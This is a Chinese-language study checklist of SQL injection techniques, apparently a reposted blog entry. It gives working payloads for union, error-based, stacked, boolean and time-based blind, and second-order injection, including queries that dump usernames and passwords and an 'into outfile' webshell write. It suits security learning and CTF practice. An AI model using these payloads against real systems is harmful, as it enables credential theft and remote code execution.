【心得】SQL注入知识清单

sql注入的类型

类型一:数字型注入和union 注入

http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2

类型二:字符型注入
 
前面闭合 后面注释  来逃逸出单引号或者双引号
http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23

查所有表 

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23

查所有列

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23

查敏感数据

http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23


注释两种形式   #   --空格


类型三:布尔盲注

boolean 盲注

条件:
没有明显的回显点
只有得到两个结果,如果执行正常,页面不报错,执行不正常,页面报错

我们执行了我们自定义的sql语句,如果语句是正确的,或者说,语句内我们的猜测是正确的,就返回正常或者特定页面,否则返回错误页面或者其他特定页面


1 当我们猜对(sql执行正常)情况下,页面没有报错
2 当我们猜错(sql执行不下去)情况下,页面报错

基于上面的原理,我们可以发送大量的请求,来猜测我们需要的数据

类型四:报错注入

条件:

1 没有明显的回显点
2 有mysql执行sql语句的报错信息


a. 利用updatexml函数来强制报错,带出我们的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123

b. extractvalue 和updatexml 功能一样,也是通过报错带出查询数据用

c. 整数溢出报错   exp  pow cot  

d. 不存在函数报错   select ctfshow();


类型五:堆叠注入

我们控制的语句,可以执行多条sql

注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法


强网杯  随便注  

通过分号分隔多条sql语句,实现了修改表结构,甚至删除表数据等等结果

如果可以堆叠,大家应该首先考虑  存储过程  set @a=b;

存储过程 类似与 shell的函数  可以自定义函数


类型六:时间盲注

条件:
没有明显的回显点
页面也没有明显的变化,即使sql语句执行不成功

总结:
可以执行sql注入,但是不知道执行结果,也不知道执行了没,甚至不知道报错了没

原理:

猜测某个条件,如果成立,就sleep 几秒  

 select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);


a sleep进行延迟

b benchmark(count,exp)  

如果执行一个比较耗时的表达式,非常多的次数,加起来,就有可能造成延时的效果

c 笛卡尔积延迟法

  select count(*) from user A,user B;
  SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;

 select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;

 if(2>1,延迟语句,1)


d get_lock函数延迟法

  select get_lock('a',3);

  条件:针对数据库连接的长连接有效   

  php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库 
  java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池


e rlike
  通过大量的正则匹配来实现延迟


类型七:二次注入

条件:

1 无法直接注入,但是可以把要注入的数据插入数据库中

2 其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句


1 整数型注入/union联合注入
2 字符型注入
3 布尔盲注
4 报错注入
5 堆叠注入
6 时间盲注
7 二次注入


不同注入点的应对技巧

sql语句分为CURD操作

select 注入

1 当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等

2 select title,content from page;

select (select password from user where username='admin') ,content from page;

3 注入点在 group by 或者order by之后

select title,content from page order by title;

select title,content from page order by title,if(2>1,sleep(3),1);

4 注入点在limit 之后 5.6版本之前  8以后废弃 

select title,content from page limit 1;

select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));


包括一些小技巧

1 字符串可以转为16进制来用
select 0x63746673686f77

2 相同或者类似功能的函数相互替换

  substr sustring 
  
  类似cat 用tac替代绕过检测 

3 mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行
  如果mysql对那个目录有写权限 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/155180.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯物联网_STM32L071_1_CubMxkeil5基础配置

CubMx配置: project工程中添加.h和.c文件: keil5配置: 运行: 代码提示与解决中文乱码:

在使用tomcat运行项目时,遇到端口80被占用的情况问题解决

问题描述&#xff1a;Failed to initialize end point associated with ProtocolHandler ["http-bio-80"] java.net.BindException: Address already in use: NET_Bind <null>:80 在学习springmvc的时候&#xff0c;跟着黑马视频进行学习&#xff0c;结果&…

三十分钟学会SCALA

SCALA Scala 是一种运行在 JVM上的函数式的面向对象语言。 Scala 是兼容的&#xff1a;兼容 Java&#xff0c;可以访问庞大的 Java 类库&#xff1b;Scala 是精简的&#xff1a;Scala 表达能力强&#xff0c;一行代码抵得上多行 Java 代码&#xff0c;开发速度快。可以让程序…

Android 获取系统编解码器

媒体编解码器 官网说明。 通过 MediaCodecInfo 拿到解码器信息&#xff1a; getName() &#xff1a;获取编解码器名字。isEncoder() &#xff1a;如果是编码器返回 true 。如果是编码器&#xff0c;返回 false 。isHardwareAccelerated() &#xff1a;如果是硬解码返回 true …

nginx 代理接口报404 问题排查

今天遇到一个nginx代理后端接口请求报404的问题&#xff0c;问题是这样的&#xff0c;后端由于服务器没有环境&#xff0c;但是需要和前端联调&#xff0c;于是采用cpolar内网穿透的方式&#xff0c;穿出来了。但是前端请求跨域&#xff0c;于是前端用nginx代理了一下后端接口&…

深度学习:到底怎么理解embedding

深度学习&#xff1a;到底怎么理解embedding 注意到embedding这个词&#xff0c;很大可能是在进行时间序列上的处理过程中遇到的&#xff0c;遇到的时间序列模型中&#xff0c;很大部分需要用到embedding过程&#xff0c;同时在看相关的程序代码的时候看到模型的结构设计中设计…

Linux下Centos7 gcc/g++、动态库/静态库(动态/静态链接)

1.gcc/g gcc是对c语言代码进行编译链接&#xff0c;而g是对c代码进行编译链接&#xff0c;接下来我们只对gcc进行讲解&#xff0c;g的使用方法跟gcc是一样的。 编译链接的四个步骤: 1:预处理 2:编译 3:汇编 4:链接 注&#xff1a;这些在后面都会着重讲解 1.1gcc -o 我们先在D…

C++之谓词

C之谓词 一元谓词 #include<iostream> using namespace std; #include<vector> #include<algorithm> //仿函数 返回值类型是boo1数据类型&#xff0c;称为谓词 //一元谓词class GreaterFive { public:bool operator()(int val){return val > 5;} };void …

傅里叶分析(2)

在《傅里叶分析&#xff08;1&#xff09;》中&#xff0c;讲述了连续信号的傅里叶分析方法&#xff0c;本文讲述离散信号的傅里叶分析方法。 虽然电、声、光、机械振动等信号在物理上是连续函数&#xff0c;但在实际工程中&#xff0c;其通常为离散信号&#xff0c;即若干离散…

2024测试工程师必学系列之Jmeter(36):jmeter对图片验证码的处理

jmeter对图片验证码的处理 在web端的登录接口经常会有图片验证码的输入&#xff0c;而且每次登录时图片验证码都是随机的&#xff1b;当通过jmeter做接口登录的时候要对图片验证码进行识别出图片中的字段&#xff0c;然后再登录接口中使用&#xff1b; 通过jmeter对图片验证码…

【CSH 入门基础 8 -- csh 中 set 与 setenv 的区别 】

文章目录 set 命令setenv 命令区别设置系统路径变量PATH添加单个路径设置多个路径 举例例子&#xff1a;编辑 .cshrc 文件 设置文件路径设置和使用局部变量永久设置变量 在 csh&#xff08;C shell&#xff09;和它的变体 tcsh&#xff08;增强型 C shell&#xff09;中&#x…

深度学习之基于yolo的体育运动项目姿态估计识别计数系统

欢迎大家点赞、收藏、关注、评论啦 &#xff0c;由于篇幅有限&#xff0c;只展示了部分核心代码。 文章目录 一项目简介 二、功能三、系统四. 总结 一项目简介 深度学习在体育运动项目姿态估计识别计数系统中的应用是一项具有挑战性和应用价值的研究领域。以下是对深度学习在体…

亚马逊运营中动态/静态住宅IP代理的应用有哪些?跨境电商必备

作为全球最大的电商平台之一&#xff0c;亚马逊已经成为许多商家的首选销售平台。而代理IP作为近几天互联网的热门工具&#xff0c;在跨境电商界也起着非常强大的作用。那么在亚马逊运营中&#xff0c;适合动态住宅代理还是静态住宅代理呢&#xff1f;下面我们一起来探索&#…

位运算技巧及leetcode相关例题Java实现

目录 一、异或运算符的运用&&leetcode136 异或运算符 a ^ b ^ b a leetcode136 二、n & (n - 1)&&leetcode133 n & (n - 1):消除n最右边的一个1 leetcode133/剑指offer15 三、m的n次方&#xff08;n是正整数&#xff09; 常规写法 二进制的快…

LeetCode热题100——贪心算法

贪心算法 1. 买卖股票最大利润2. 跳跃游戏3. 跳跃游戏Ⅱ 1. 买卖股票最大利润 给定一个数组 prices &#xff0c;它的第 i 个元素 prices[i] 表示一支给定股票第 i 天的价格。 你只能选择 某一天 买入这只股票&#xff0c;并选择在 未来的某一个不同的日子 卖出该股票。设计一…

linuxTcp状态转换

1.TCP状态转换 在TCP进行三次握手&#xff0c;或者四次挥手的过程中&#xff0c;通信的服务器和客户端内部会发送状态上的变化&#xff0c;发生的状态变化在程序中是看不到的&#xff0c;这个状态的变化也不需要程序猿去维护&#xff0c;但是在某些情况下进行程序的调试会去查…

《QT从基础到进阶·三十六》QWidget实现收缩栏的效果

功能&#xff1a; 1、可以在收缩栏插件中添加界面 2、可以把界面展开或收缩 3、可以用鼠标拖动界面改变界面的排放顺序 源码放在最下方 1、可以在收缩栏插件中添加界面 virtual void addWidget(QWidget* widget, const QString& label, const QIcon& icon QIcon())…

打造高效医患沟通:陪诊小程序开发技术指南

随着科技的不断发展&#xff0c;陪诊小程序作为医患沟通的新工具逐渐成为关注焦点。本文将带领你通过使用React和Node.js技术栈&#xff0c;构建一个功能强大且用户友好的陪诊小程序&#xff0c;实现医患互动的便捷和高效。 1. 准备工作 确保你的开发环境中已安装了Node.js和…

封装Vue中的axios请求库

安装axios&#xff1a;首先&#xff0c;在项目中安装axios库。可以使用npm或者yarn进行安装。 npm install axios创建封装文件&#xff1a;在src目录下创建一个api文件夹&#xff0c;并在该文件夹下创建一个request.js文件。 在request.js文件中&#xff0c;引入axios库和Vue&…

点击这里,获取数据治理加速器!

数据管理员&#xff1a;又双叒叕…盘一遍数据&#xff0c;这种工作究竟还要重复多少次&#xff1f;&#xff01; • 上上个月&#xff0c;发现数据有些问题&#xff0c;我把数据盘了一遍&#xff0c;梳理完数据的关联表才定位到问题&#xff1b; • 上个月&#xff0c;进行数据…